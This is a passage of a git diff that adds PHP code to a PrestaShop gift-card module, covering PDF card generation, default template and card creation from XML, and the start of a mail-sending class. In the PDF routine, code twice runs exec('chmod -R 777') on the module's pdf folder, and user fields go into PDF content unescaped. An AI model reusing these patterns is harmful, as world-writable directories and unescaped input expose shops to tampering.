+ $contentpdf = ''; + $contentpdf = Configuration::get ( 'GIFTCARD_PDF_CONTENT', $params['id_lang'] ); + $code = ''; + $price = 0; + $template_color = '#ff6e27'; + $template_shop_text = ''; + $card_img_html = ''; + $card_price = 0; + $date_to = ''; + $card_img_generated = false; + $id_shop = 1; + $from = ''; + $last_name = ''; + $message = ''; + $tmp_file = _PS_ROOT_DIR_._MODULE_DIR_.'/giftcard/pdf/tmp.jpg'; + if (isset ( $params['id_shop'] ) && ! empty ( $params['id_shop'] )) + $id_shop = (int)$params['id_shop']; + $shop = new Shop ( $id_shop ); + $shopUrl = new ShopUrl ( $id_shop ); + $shop = new Shop ( $id_shop ); + $shopbaseUrl = $shopUrl->getURL (); + $logo_path = _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO', null, null, (int)$id_shop ); + list ( $width_logo, $height_logo ) = getimagesize ( $logo_path ); + + $id_gift_card_order = 0; + if (isset ( $params['discountcode'] ) && ! empty ( $params['discountcode'] )) + $code = $params['discountcode']; + if (isset ( $params['price'] ) && ! empty ( $params['price'] )) + $price = (float)$params['price']; + $card_price = round ( (float)$params['price'] ); + if (isset ( $params['id_gift_card_order'] ) && ! empty ( $params['id_gift_card_order'] )) + $id_gift_card_order = (int)$params['id_gift_card_order']; + if (isset ( $params['template_color'] ) && ! empty ( $params['template_color'] )) + $template_color = $params['template_color']; + if (isset ( $params['template_shop_text'] ) && ! empty ( $params['template_shop_text'] )) + $template_shop_text = $params['template_shop_text']; + if (isset ( $params['date_to'] ) && ! empty ( $params['date_to'] )) + $date_to = $params['date_to']; + if (isset ( $params['lastname'] ) && ! empty ( $params['lastname'] )) + $lastname = $params['lastname']; + if (isset ( $params['from'] ) && ! empty ( $params['from'] )) + $from = $params['from']; + if (isset ( $params['message'] ) && ! empty ( $params['message'] )) + $message = $params['message']; + if (isset ( $params['id_currency'] ) && ! empty ( $params['id_currency'] )) + $id_currency = (int)$params['id_currency']; + else + $id_currency = (int)Configuration::get ( 'PS_CURRENCY_DEFAULT' ); + $currency = new Currency ( $id_currency ); + $price_display = Tools::displayPrice ( (float)$price, $id_currency, false ); + $width = (int)Configuration::get ( 'GIFTCARD_PDF_IMG_WIDTH' ); + $height = (int)Configuration::get ( 'GIFTCARD_PDF_IMG_HEIGHT' ); + if (! ((int)$width > 0)) + $width = 349; + if (! ((int)$height > 0)) + $height = 195; + $img_name = $id_gift_card_order.'.jpg'; + $tmp_file = _PS_ROOT_DIR_.'/modules/giftcard/pdf/'.$img_name; + if (isset ( $params['template_file'] ) && ! empty ( $params['template_file'] ) && @file_exists ( $template_dir.$params['template_file'] )) + $card_img_generated = self::buildcardtmp ( $tmp_file, $params['id_product'], $width, $height, true, $card_price, $code, $params['template_file'], $template_color, $template_shop_text ); + elseif (isset ( $params['id_product'] ) && (int)$params['id_product'] > 0) + $card_img_generated = self::buildcardtmp ( $tmp_file, $params['id_product'], $width, $height, false, $card_price, $code, $params['template_file'], $template_color, $template_shop_text ); + if ($card_img_generated) + $card_img_html = ''; + $contentpdf = str_replace ( '{$card_lastname}', $lastname, $contentpdf ); + $contentpdf = str_replace ( '{$card_from}', $from, $contentpdf ); + $contentpdf = str_replace ( '{$card_message}', $message, $contentpdf ); + $contentpdf = str_replace ( '{$shop_name}', $shop->name, $contentpdf ); + $contentpdf = str_replace ( 'http://{$shop_link}', $shopbaseUrl, $contentpdf ); + $contentpdf = str_replace ( '{$shop_link}', $shopbaseUrl, $contentpdf ); + $contentpdf = str_replace ( '{$card_image}', $card_img_html, $contentpdf ); + $contentpdf = str_replace ( '{$card_price}', $price_display, $contentpdf ); + $contentpdf = str_replace ( '{$card_code}', $code, $contentpdf ); + $contentpdf = str_replace ( '{$card_expirate}', $date_to, $contentpdf ); + $contentpdf = str_replace ( 'http://{$logo_path}', $logo_path, $contentpdf ); + $contentpdf = str_replace ( '{$logo_path}', $logo_path, $contentpdf ); + $contentpdf = str_replace ( '{$width_logo}', $width_logo, $contentpdf ); + $contentpdf = str_replace ( '{$height_logo}', $height_logo, $contentpdf ); + $pdfgenerator->createContent ( $contentpdf ); + $pdfgenerator->SetPrintHeader ( false ); + $pdfgenerator->SetPrintFooter ( false ); + $pdfgenerator->writePage (); + if ($card_img_generated) + @unlink ( $tmp_file ); + if ($render) + $pdfgenerator->render ( $filename.'.pdf', true ); + return ($pdfgenerator->render ( $filename.'.pdf', false )); + } + return (false); + } + + /** + * + * @param array $params + * id_shop,discountcode,price,id_currency,id_gift_card_order,template_color,template_shop_text,template_file,id_lang + * @param string $fileoutput + * @return boolean + */ + public static function processGeneratePdfV2($giftCardTemplate, $params, $render = false, $filename = '') + { + if (isset ( $params ) && is_array ( $params ) && count ( $params ) > 0) + { + $physical_uri = Context::getContext ()->shop->physical_uri.'img/'; + $pdfgenerator = new PDFGiftCard ( (bool)Configuration::get ( 'PS_PDF_USE_CACHE' ) ); + $contentpdf = ''; + $contentpdf = Configuration::get ( 'GIFTCARD_PDF_CONTENT', $params['id_lang'] ); + $code = ''; + $price = 0; + $template_color = '#ff6e27'; + $template_shop_text = ''; + $card_img_html = ''; + $card_price = 0; + $lastname = ''; + $date_to = ''; + $card_img_generated = false; + $id_shop = 1; + $from = ''; + $last_name = ''; + $message = ''; + $img_name = md5 ( uniqid ( rand (), true ) ).'.jpg'; + $tmp_file = _PS_ROOT_DIR_.'/modules/giftcard/pdf/'.$img_name; + if (isset ( $params['id_shop'] ) && ! empty ( $params['id_shop'] )) + $id_shop = (int)$params['id_shop']; + $shop = new Shop ( $id_shop ); + $shopUrl = new ShopUrl ( $id_shop ); + $shop = new Shop ( $id_shop ); + $shopbaseUrl = $shopUrl->getURL (); + $logo_path = _PS_IMG_DIR_.Configuration::get ( 'PS_LOGO', null, null, (int)$id_shop ); + list ( $width_logo, $height_logo ) = getimagesize ( $logo_path ); + + $id_gift_card_order = 0; + if (isset ( $params['discountcode'] ) && ! empty ( $params['discountcode'] )) + $code = $params['discountcode']; + if (isset ( $params['price'] ) && ! empty ( $params['price'] )) + { + $price = (float)$params['price']; + $card_price = round ( (float)$params['price'] ); + } + if (isset ( $params['id_gift_card_order'] ) && ! empty ( $params['id_gift_card_order'] )) + $id_gift_card_order = (int)$params['id_gift_card_order']; + if (isset ( $params['date_to'] ) && ! empty ( $params['date_to'] )) + $date_to = $params['date_to']; + if (isset ( $params['lastname'] ) && ! empty ( $params['lastname'] )) + $lastname = $params['lastname']; + if (isset ( $params['from'] ) && ! empty ( $params['from'] )) + $from = $params['from']; + if (isset ( $params['message'] ) && ! empty ( $params['message'] )) + $message = $params['message']; + if (isset ( $params['id_currency'] ) && ! empty ( $params['id_currency'] )) + $id_currency = (int)$params['id_currency']; + else + $id_currency = (int)Configuration::get ( 'PS_CURRENCY_DEFAULT' ); + $currency = new Currency ( $id_currency ); + $price_display = Tools::displayPrice ( (float)$price, $id_currency, false ); + $width = (int)Configuration::get ( 'GIFTCARD_PDF_IMG_WIDTH' ); + $height = (int)Configuration::get ( 'GIFTCARD_PDF_IMG_HEIGHT' ); + if (! ((int)$width > 0)) + $width = 349; + if (! ((int)$height > 0)) + $height = 195; + if ($giftCardTemplate->issvg) + { + $svgparams = array (); + $svgparams['price'] = $card_price; + $svgparams['from'] = $from; + $svgparams['lastname'] = $last_name; + $svgparams['message'] = $message; + $svgparams['code'] = $code; + $svg = GiftCardTools::buildTemplateSvgV2 ( $giftCardTemplate, $svgparams, (int)$params['id_lang'] ); + $card_img_generated = GiftCardTools::resizeImageWithTemplate ( $svg, $tmp_file, 0, $width, $height, 'jpg', 200 ); + exec('chmod -R 777 '.dirname(dirname(__FILE__)).'/pdf'); + } + else + { + $template_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; + $card_img_generated = ImageManager::resize ( $template_path.$giftCardTemplate->id.'.jpg', $tmp_file, $width, $height, 'jpg' ); + exec('chmod -R 777 '.dirname(dirname(__FILE__)).'/pdf'); + } + if ($card_img_generated) + $card_img_html = ''; + + $contentpdf = str_replace ( '{$card_lastname}', $lastname, $contentpdf ); + $contentpdf = str_replace ( '{$card_from}', $from, $contentpdf ); + $contentpdf = str_replace ( '{$card_message}', $message, $contentpdf ); + $contentpdf = str_replace ( '{$shop_name}', $shop->name, $contentpdf ); + $contentpdf = str_replace ( 'http://{$shop_link}', $shopbaseUrl, $contentpdf ); + $contentpdf = str_replace ( '{$shop_link}', $shopbaseUrl, $contentpdf ); + $contentpdf = str_replace ( '{$card_image}', $card_img_html, $contentpdf ); + $contentpdf = str_replace ( '{$card_price}', $price_display, $contentpdf ); + $contentpdf = str_replace ( '{$card_code}', $code, $contentpdf ); + $contentpdf = str_replace ( '{$card_expirate}', $date_to, $contentpdf ); + $contentpdf = str_replace ( 'http://{$logo_path}', $logo_path, $contentpdf ); + $contentpdf = str_replace ( '{$logo_path}', $logo_path, $contentpdf ); + $contentpdf = str_replace ( '{$width_logo}', $width_logo, $contentpdf ); + $contentpdf = str_replace ( '{$height_logo}', $height_logo, $contentpdf ); + + $pdfgenerator->createContent ( $contentpdf ); + $pdfgenerator->SetPrintHeader ( false ); + $pdfgenerator->SetPrintFooter ( false ); + $pdfgenerator->writePage (); + if ($card_img_generated) + @unlink ( $tmp_file ); + if ($render) + $pdfgenerator->render ( $filename.'.pdf', true ); + return ($pdfgenerator->render ( $filename.'.pdf', false )); + } + return (false); + } + public static function buildcardtmp($dest_file, $id_product, $width, $height, $use_custom, $card_price, $card_code, $template_file, $template_color, $template_shop_text) + { + $card_img_generated = false; + if ($use_custom) + { + $svg = self::buildTemplateSvg ( $template_file, round ( (float)$card_price ), $card_code, $template_color, $template_shop_text ); + GiftCardTools::resizeImageWithTemplate ( $svg, $dest_file, 0, $width * 4, $height * 4, 'jpg' ); + $card_img_generated = true; + } + /* + * elseif(isset($params['id_product']) && (int)$params['id_product']>0) { $product = new Product((int)$params['id_product']); if (Validate::isLoadedObject($product)) { $imagearr = Image::getCover($product->id); if($imagearr && isset($imagearr['id_image'])) { $image = new Image((int)$imagearr['id_image']); if (Validate::isLoadedObject($image)) { $pathimage = _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'.jpg'; if (@ImageManager::resize($pathimage, $dest_file, $width, $height, $image->image_format)) { $card_img_generated=true; } } } } } + */ + return ($card_img_generated); + } + public static function getLangMail($id_lang) + { + $theme_path = _PS_THEME_DIR_; + if ((int)$id_lang > 0) + { + $languagemail = new Language ( (int)$id_lang ); + if (! $languagemail || ! (isset ( $languagemail->iso_code ) && trim ( $languagemail->iso_code ) != '')) + { + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $languagemail = new Language ( (int)$id_lang ); + } + } + else + { + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $languagemail = new Language ( (int)$id_lang ); + } + if (! is_dir ( _PS_ROOT_DIR_.'/modules/giftcard/mails/'.Tools::strtolower ( $languagemail->iso_code ) ) && + ! is_dir ( $theme_path.'/modules/giftcard/mails/'.Tools::strtolower ( $languagemail->iso_code ) ) ) + { + $id_lang = Language::getIdByIso ( 'en' ); + if (! $id_lang || ! ((int)$id_lang > 0)) + return false; + } + return ($id_lang); + } + public static function creatingDefaultTemplates($issvg = true) + { + $shopdefault = new Shop ( (int)Configuration::get ( 'PS_SHOP_DEFAULT' ) ); + $tempate_datadefault_dir = _PS_ROOT_DIR_.'/modules/giftcard/img/datadefault/template/'; + $xml = simplexml_load_string ( Tools::file_get_contents ( $tempate_datadefault_dir.'templates.xml' ) ); + $doc = new DOMDocument (); + $doc->load ( $tempate_datadefault_dir.'templates.xml' ); + $templatesdom = $doc->getElementsByTagName ( 'template' ); + // on prend seulement les langues actives + $languages = Language::getLanguages ( true ); + + /* si langue différent de fr */ + + /*LANGUE FR ET EN : fonctionnement nominal*/ + $id_lang_fr = Language::getIdByIso ( 'fr' ); + $lang_fr_active = false; + if(((int)$id_lang_fr) && $lang_fr = new Language($id_lang_fr)) + $lang_fr_active = true; + + $id_lang_en = Language::getIdByIso ( 'en' ); + $lang_en_active = false; + if(((int)$id_lang_en) && $lang_en = new Language($id_lang_fr)) + $lang_en_active = $lang_en->active; + $id_lang_default = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + /* Mode lang 1 : si pas de langue fr */ + $modedisplay = 0; + if ($id_lang_en && (int)$id_lang_en > 0 && $id_lang_fr && (int)$id_lang_fr > 0) + $modedisplay = 1; + + $langduplicateen = array (); + foreach ($languages as $language) + if (Tools::strtolower ( $language['iso_code'] != 'fr' ) && Tools::strtolower ( $language['iso_code'] != 'en' )) + $langduplicateen[] = $language; + + foreach ($templatesdom as $templatedom) + { + $mode = $templatedom->getElementsByTagName ( 'mode' )->item ( 0 )->nodeValue; + $namedom = $templatedom->getElementsByTagName ( 'name' )->item ( 0 ); + // on ecarte les images jpg fr si pas de langue francaise + if ($mode=='jpg' && $namedom->getElementsByTagName ( 'fr' )->length > 0 && ! ($lang_fr_active)) + continue; + // on ecarte les images jpg en si pas de langue en mais langue fr existe + /*if ($mode=='jpg' && $namedom->getElementsByTagName ( 'en' )->length > 0 && $id_lang_fr && (int)$id_lang_fr > 0 && ! ($id_lang_en && (int)$id_lang_en > 0)) + continue;*/ + + // ignore template if mode not good + // on écarte les svg + if (Tools::strtolower ( $mode ) != 'all' && ((Tools::strtolower ( $mode ) == 'svg' && ! $issvg) /*|| (Tools::strtolower ( $mode ) == 'jpg' && $issvg)*/)) + continue; + $giftCardTemplate = new GiftCardTemplate (); + $image = $templatedom->getElementsByTagName ( 'image' )->item ( 0 )->nodeValue; + + $isdefault = (int)$templatedom->getElementsByTagName ( 'name' )->item ( 0 )->nodeValue; + $giftCardTemplate->name = array (); + foreach ($languages as $language) + { + if ($namedom->getElementsByTagName ( $language['iso_code'] )->length > 0) + $giftCardTemplate->name[$language['id_lang']] = $namedom->getElementsByTagName ( $language['iso_code'] )->item ( 0 )->nodeValue; + elseif ($namedom->getElementsByTagName ( 'en' )->length > 0) + $giftCardTemplate->name[$language['id_lang']] = $namedom->getElementsByTagName ( 'en' )->item ( 0 )->nodeValue; + elseif (Tools::strtolower ( $mode ) != 'svg') + $giftCardTemplate->name[$language['id_lang']] = $namedom->getElementsByTagName ( 'fr' )->item ( 0 )->nodeValue; + } + $giftCardTemplate->active = 1; + // si ne contient pas la langue fr + // la langue en sera assigné dans la langue défaut + + $giftCardTemplate->add (); + Db::getInstance()->delete(_DB_PREFIX_.'giftcardtemplate_shop', '`id_gift_card_template` = '.(int)$giftCardTemplate->id); + $insertshop = array(); + foreach (Db::getInstance()->executeS('SELECT id_shop FROM '._DB_PREFIX_.'shop') as $row) + $insertshop[] = array( + 'id_gift_card_template' => $giftCardTemplate->id, + 'id_shop' => (int)$row['id_shop'], + ); + Db::getInstance()->insert('giftcardtemplate_shop', $insertshop, false, true, Db::INSERT_IGNORE); + /* UPDATE tag */ + $tagsdom = $templatedom->getElementsByTagName ( 'tag' ); + foreach ($tagsdom as $tagdom) + { + foreach ($languages as $language) + { + if ($tagdom->getElementsByTagName ( $language['iso_code'] )->length > 0) + GiftCardTag::addTags ( $language['id_lang'], (int)$giftCardTemplate->id, $tagdom->getElementsByTagName ( $language['iso_code'] )->item ( 0 )->nodeValue ); + elseif (Tools::strtolower ( $mode ) == 'svg' && $tagdom->getElementsByTagName ( 'en' )->length > 0) + GiftCardTag::addTags ( $language['id_lang'], (int)$giftCardTemplate->id, $tagdom->getElementsByTagName ( 'en' )->item ( 0 )->nodeValue ); + /* + * elseif(Tools::strtolower($mode)!='svg') { GiftCardTag::addTags($language['id_lang'], (int)$giftCardTemplate->id, $tagdom->getElementsByTagName("fr")->item(0)->nodeValue); } + */ + } + } + /* + * Display all : si pas de langue fr + * */ + if ($lang_fr_active && Tools::strtolower ( $mode ) == 'jpg') + { + if ($templatedom->getElementsByTagName ( 'language' )->length > 0) + { + // mode selectif + if ($namedom->getElementsByTagName ( 'fr' )->length > 0) + $giftCardTemplate->id_lang_display = $id_lang_fr; + elseif ($namedom->getElementsByTagName ( 'en' )->length > 0 && $lang_en_active) + $giftCardTemplate->id_lang_display = $id_lang_en; + } + } + $giftCardTemplate->update (); + /* Update image */ + $giftCardTemplate->createImgFolder (); + $imagesTypes = GiftCardTemplate::getImagesTypes (); + $template_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; + if ($issvg && Tools::strtolower ( $mode ) == 'svg') + { + $imageTypeAdmin = array (); + $imageTypeAdmin['name'] = ''; + $imageTypeAdmin['width'] = 1600; + $imageTypeAdmin['height'] = 1052; + $imagesTypes[] = $imageTypeAdmin; + copy ( $tempate_datadefault_dir.$image.'.svg', $template_path.$giftCardTemplate->id.'.svg' ); + $availableVars = GiftCardTools::getAvailableVars ( $giftCardTemplate ); + $giftCardTemplate->initCustomVar (); + $giftCardTemplate->updateCustomVar ( $availableVars ); + // init personnalize var + $giftCardTemplate->issvg = true; + /* Init custom field */ + for ($i = 1; $i <= 10; $i ++) + { + $varcolor = 'var_color'.$i; + if ($templatedom->getElementsByTagName ( $varcolor )->length > 0) + $giftCardTemplate->$varcolor = $templatedom->getElementsByTagName ( $varcolor )->item ( 0 )->nodeValue; + } + for ($i = 1; $i <= 10; $i ++) + { + $vartext = 'var_text'.$i; + if ($templatedom->getElementsByTagName ( $vartext )->length > 0) + { + $textdom = $templatedom->getElementsByTagName ( $vartext )->item ( 0 ); + $textL = array (); + foreach ($languages as $language) + { + $id_lang = (int)$language['id_lang']; + if ($textdom->getElementsByTagName ( $language['iso_code'] )->length > 0) + $value = $textdom->getElementsByTagName ( $language['iso_code'] )->item ( 0 )->nodeValue; + else + $value = $textdom->getElementsByTagName ( 'en' )->item ( 0 )->nodeValue; + $value = str_replace ( '{shop_name}', $shopdefault->name, $value ); + $textL[$id_lang] = $value; + } + $giftCardTemplate->$vartext = $textL; + } + } + $giftCardTemplate->update (); + $svg = array (); + foreach ($languages as $language) + $svg[(int)$language['id_lang']] = GiftCardTools::buildTemplateSvgV2 ( $giftCardTemplate, array (), (int)$language['id_lang'] ); + foreach ($imagesTypes as $k => $image_type) + foreach ($languages as $language) + if (! GiftCardTools::resizeImageWithTemplate ( $svg[(int)$language['id_lang']], $template_path.$giftCardTemplate->id.(! empty ( $image_type['name'] ) ? '-'.Tools::stripslashes ( $image_type['name'] ) : '').'-'.$language['id_lang'].'.jpg', 0, $image_type['width'], $image_type['height'], 'jpg' )) + echo Tools::displayError ( 'An error occurred while copying image :' ).' '.Tools::stripslashes ( $image_type['name'] ); + } + else + { + + ImageManager::resize ( $tempate_datadefault_dir.$image, $template_path.$giftCardTemplate->id.'.jpg', null, null, 'jpg' ); + foreach ($imagesTypes as $k => $image_type) + { + if (! ImageManager::resize ( $tempate_datadefault_dir.$image, $template_path.$giftCardTemplate->id.'-'.Tools::stripslashes ( $image_type['name'] ).'.jpg', $image_type['width'], $image_type['height'], 'jpg' )) + echo Tools::displayError ( 'An error occurred while copying image' ).' '.Tools::stripslashes ( $image_type['name'] ); + } + } + if (! $giftCardTemplate->isdefault && $isdefault) + $giftCardTemplate->changeToDefault (); + // si mode jpg on duplique le modele en pour les autres langues que fr et en + if ($lang_fr_active && Tools::strtolower ( $mode ) == 'jpg' && $namedom->getElementsByTagName ( 'en' )->length > 0) + { + $giftCardTemplateDup = $giftCardTemplate; + foreach ($languages as $language) + { + if (Tools::strtolower ( $language['iso_code'] ) != 'fr' && Tools::strtolower ( $language['iso_code'] ) != 'en') + { + $giftCardTemplate = GiftCardTemplate::duplicate ( (int)$giftCardTemplateDup->id ); + if($giftCardTemplate) + { + $giftCardTemplate->id_lang_display = (int)$language['id_lang']; + $giftCardTemplate->active = true; + $giftCardTemplate->deleteTags(); + $tagsdom = $templatedom->getElementsByTagName ( 'tag' ); + foreach ($tagsdom as $tagdom) + if($tagdom->getElementsByTagName ( 'en' )->length > 0) + GiftCardTag::addTags ( $language['id_lang'], (int)$giftCardTemplate->id, $tagdom->getElementsByTagName ( 'en' )->item ( 0 )->nodeValue ); + $giftCardTemplate->update (); + } + } + } + /*On supprimer la template précédent qui a été créé seulement pour modèle pour les autres languages*/ + if (!$lang_en_active) + $giftCardTemplateDup->delete(); + } + } + } + public static function creatingDefaultGiftCards() + { + $giftcard_datadefault_dir = _PS_ROOT_DIR_.'/modules/giftcard/datadefault/giftcard/'; + $xml = simplexml_load_string ( Tools::file_get_contents ( $giftcard_datadefault_dir.'giftcards.xml' ) ); + $doc = new DOMDocument (); + $doc->load ( $giftcard_datadefault_dir.'giftcards.xml' ); + $giftcardsdom = $doc->getElementsByTagName ( 'giftcard' ); + $languages = Language::getLanguages ( false ); + $currency_default = (int)Configuration::get ( 'PS_CURRENCY_DEFAULT' ); + $currencies = Currency::getCurrencies (); + foreach ($giftcardsdom as $giftcarddom) + { + $giftCard = new GiftCardProduct (); + $namedom = $giftcarddom->getElementsByTagName ( 'name' )->item ( 0 ); + $giftCard->name = array (); + foreach ($languages as $language) + { + if ($namedom->getElementsByTagName ( $language['iso_code'] )->length > 0) + $giftCard->name[$language['id_lang']] = $namedom->getElementsByTagName ( $language['iso_code'] )->item ( 0 )->nodeValue; + else + $giftCard->name[$language['id_lang']] = $namedom->getElementsByTagName ( 'en' )->item ( 0 )->nodeValue; + } + $period_val = (int)$giftcarddom->getElementsByTagName ( 'period_val' )->item ( 0 )->nodeValue; + $isdefaultgiftcard = (int)$giftcarddom->getElementsByTagName ( 'isdefaultgiftcard' )->item ( 0 )->nodeValue; + $amount = (float)((string)$giftcarddom->getElementsByTagName ( 'amount' )->item ( 0 )->nodeValue); + $quantity = (int)$giftcarddom->getElementsByTagName ( 'quantity' )->item ( 0 )->nodeValue; + $giftCard->period_val = $period_val; + $giftCard->id_currency = 0; + $giftCard->id_tax_rules_group = 0; + $giftCard->price = $amount; + $giftCard->amount = $amount; + $giftCard->add (); + StockAvailable::setQuantity ( $giftCard->id, 0, (int)$quantity ); + foreach ($currencies as $currencyitem) + if ((int)$currencyitem['id_currency'] != $currency_default) + self::addFixedPrice ( $giftCard->id, (int)$currencyitem['id_currency'], (float)$amount ); + $giftCardTemplate = GiftCardTemplate::getDefault (); + $giftCardTemplate->generateProductImage ( $giftCard->id ); + if (! $giftCard->isdefaultgiftcard && $isdefaultgiftcard) + $giftCard->changeToDefault (); + } + } +} \ No newline at end of file diff --git a/modules/giftcard/tools/MailGiftCard.php b/modules/giftcard/tools/MailGiftCard.php new file mode 100755 index 0000000..0a107c2 --- /dev/null +++ b/modules/giftcard/tools/MailGiftCard.php @@ -0,0 +1,481 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +include_once (_PS_SWIFT_DIR_.'Swift.php'); +include_once (_PS_SWIFT_DIR_.'Swift/Connection/SMTP.php'); +include_once (_PS_SWIFT_DIR_.'Swift/Connection/NativeMail.php'); +include_once (_PS_SWIFT_DIR_.'Swift/Plugin/Decorator.php'); +class MailGiftCard { + const TYPE_HTML = 1; + const TYPE_TEXT = 2; + const TYPE_BOTH = 3; + + /** + * Send Email + * + * @param int $id_lang + * Language of the email (to translate the template) + * @param string $template + * Template: the name of template not be a var but a string ! + * @param string $subject + * @param string $template_vars + * @param string $to + * @param string $to_name + * @param string $from + * @param string $from_name + * @param array $file_attachment + * Array with three parameters (content, mime and name). You can use an array of array to attach multiple files + * @param bool $modeSMTP + * @param string $template_path + * @param bool $die + * @param string $bcc + * Bcc recipient + */ + public static function Send($id_lang, $template, $subject, $template_vars, $to, $to_name = null, $from = null, $from_name = null, $file_attachment = null, $mode_smtp = null, $template_path = _PS_MAIL_DIR_, $die = false, $id_shop = null, $bcc = null, $giftcard_image = null) + { + $configuration = Configuration::getMultiple ( array ( + 'PS_SHOP_EMAIL', + 'PS_MAIL_METHOD', + 'PS_MAIL_SERVER', + 'PS_MAIL_USER', + 'PS_MAIL_PASSWD', + 'PS_SHOP_NAME', + 'PS_MAIL_SMTP_ENCRYPTION', + 'PS_MAIL_SMTP_PORT', + 'PS_MAIL_TYPE' + ), null, null, $id_shop ); + + // Returns immediatly if emails are deactivated + if ($configuration['PS_MAIL_METHOD'] == 3) + return true; + + $theme_path = _PS_THEME_DIR_; + + // Get the path of theme by id_shop if exist + if (is_numeric ( $id_shop ) && $id_shop) + { + $shop = new Shop ( (int)$id_shop ); + $theme_name = $shop->getTheme (); + + if (_THEME_NAME_ != $theme_name) + $theme_path = _PS_ROOT_DIR_.'/themes/'.$theme_name.'/'; + } + + if (! isset ( $configuration['PS_MAIL_SMTP_ENCRYPTION'] )) + $configuration['PS_MAIL_SMTP_ENCRYPTION'] = 'off'; + if (! isset ( $configuration['PS_MAIL_SMTP_PORT'] )) + $configuration['PS_MAIL_SMTP_PORT'] = 'default'; + + // Sending an e-mail can be of vital importance for the merchant, when his password is lost for example, so we must not die but do our best to send the e-mail + if (! isset ( $from ) || ! Validate::isEmail ( $from )) + $from = $configuration['PS_SHOP_EMAIL']; + if (! Validate::isEmail ( $from )) + $from = null; + + // $from_name is not that important, no need to die if it is not valid + if (! isset ( $from_name ) || ! Validate::isMailName ( $from_name )) + $from_name = $configuration['PS_SHOP_NAME']; + if (! Validate::isMailName ( $from_name )) + $from_name = null; + + // It would be difficult to send an e-mail if the e-mail is not valid, so this time we can die if there is a problem + if (! is_array ( $to ) && ! Validate::isEmail ( $to )) + { + Tools::dieOrLog ( Tools::displayError ( 'Error: parameter "to" is corrupted' ), $die ); + return false; + } + + if (! is_array ( $template_vars )) + $template_vars = array (); + + // Do not crash for this error, that may be a complicated customer name + if (is_string ( $to_name ) && ! empty ( $to_name ) && ! Validate::isMailName ( $to_name )) + $to_name = null; + + if (! Validate::isTplName ( $template )) + { + Tools::dieOrLog ( Tools::displayError ( 'Error: invalid e-mail template' ), $die ); + return false; + } + + if (! Validate::isMailSubject ( $subject )) + { + Tools::dieOrLog ( Tools::displayError ( 'Error: invalid e-mail subject' ), $die ); + return false; + } + + /* Construct multiple recipients list if needed */ + $to_list = new Swift_RecipientList (); + if (is_array ( $to ) && isset ( $to )) + { + foreach ($to as $key => $addr) + { + $addr = trim ( $addr ); + if (! Validate::isEmail ( $addr )) + { + Tools::dieOrLog ( Tools::displayError ( 'Error: invalid e-mail address' ), $die ); + return false; + } + + if (is_array ( $to_name )) + { + if ($to_name && is_array ( $to_name ) && Validate::isGenericName ( $to_name[$key] )) + $to_name = $to_name[$key]; + } + + if ($to_name == null || $to_name == $addr) + $to_name = ''; + else + { + if (function_exists ( 'mb_encode_mimeheader' )) + $to_name = mb_encode_mimeheader ( $to_name, 'utf-8' ); + else + $to_name = self::mimeEncode ( $to_name ); + } + + $to_list->addTo ( $addr, $to_name ); + } + $to_plugin = $to[0]; + } else + { + /* Simple recipient, one address */ + $to_plugin = $to; + if ($to_name == null || $to_name == $to) + $to_name = ''; + else + { + if (function_exists ( 'mb_encode_mimeheader' )) + $to_name = mb_encode_mimeheader ( $to_name, 'utf-8' ); + else + $to_name = self::mimeEncode ( $to_name ); + } + + $to_list->addTo ( $to, $to_name ); + } + if (isset ( $bcc )) + { + $to_list->addBcc ( $bcc ); + } + $to = $to_list; + try + { + /* Connect with the appropriate configuration */ + if ($configuration['PS_MAIL_METHOD'] == 2) + { + if (empty ( $configuration['PS_MAIL_SERVER'] ) || empty ( $configuration['PS_MAIL_SMTP_PORT'] )) + { + Tools::dieOrLog ( Tools::displayError ( 'Error: invalid SMTP server or SMTP port' ), $die ); + return false; + } + $connection = new Swift_Connection_SMTP ( $configuration['PS_MAIL_SERVER'], $configuration['PS_MAIL_SMTP_PORT'], ($configuration['PS_MAIL_SMTP_ENCRYPTION'] == 'ssl') ? Swift_Connection_SMTP::ENC_SSL : (($configuration['PS_MAIL_SMTP_ENCRYPTION'] == 'tls') ? Swift_Connection_SMTP::ENC_TLS : Swift_Connection_SMTP::ENC_OFF) ); + $connection->setTimeout ( 4 ); + if (! $connection) + return false; + if (! empty ( $configuration['PS_MAIL_USER'] )) + $connection->setUsername ( $configuration['PS_MAIL_USER'] ); + if (! empty ( $configuration['PS_MAIL_PASSWD'] )) + $connection->setPassword ( $configuration['PS_MAIL_PASSWD'] ); + } else + $connection = new Swift_Connection_NativeMail (); + + if (! $connection) + return false; + $swift = new Swift ( $connection, Configuration::get ( 'PS_MAIL_DOMAIN', null, null, $id_shop ) ); + /* Get templates content */ + $iso = Language::getIsoById ( (int)$id_lang ); + if (! $iso) + { + Tools::dieOrLog ( Tools::displayError ( 'Error - No ISO code for email' ), $die ); + return false; + } + $template = $iso.'/'.$template; + + $module_name = false; + $override_mail = false; + + // get templatePath + if (preg_match ( '#'.__PS_BASE_URI__.'modules/#', str_replace ( DIRECTORY_SEPARATOR, '/', $template_path ) ) && preg_match ( '#modules/([a-z0-9_-]+)/#ui', str_replace ( DIRECTORY_SEPARATOR, '/', $template_path ), $res )) + $module_name = $res[1]; + + if ($module_name !== false && (file_exists ( $theme_path.'modules/'.$module_name.'/mails/'.$template.'.txt' ) || file_exists ( $theme_path.'modules/'.$module_name.'/mails/'.$template.'.html' ))) + $template_path = $theme_path.'modules/'.$module_name.'/mails/'; + elseif (file_exists ( $theme_path.'mails/'.$template.'.txt' ) || file_exists ( $theme_path.'mails/'.$template.'.html' )) + { + $template_path = $theme_path.'mails/'; + $override_mail = true; + } + if (! file_exists ( $template_path.$template.'.txt' ) && ($configuration['PS_MAIL_TYPE'] == self::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == self::TYPE_TEXT)) + { + Tools::dieOrLog ( Tools::displayError ( 'Error - The following e-mail template is missing:' ).' '.$template_path.$template.'.txt', $die 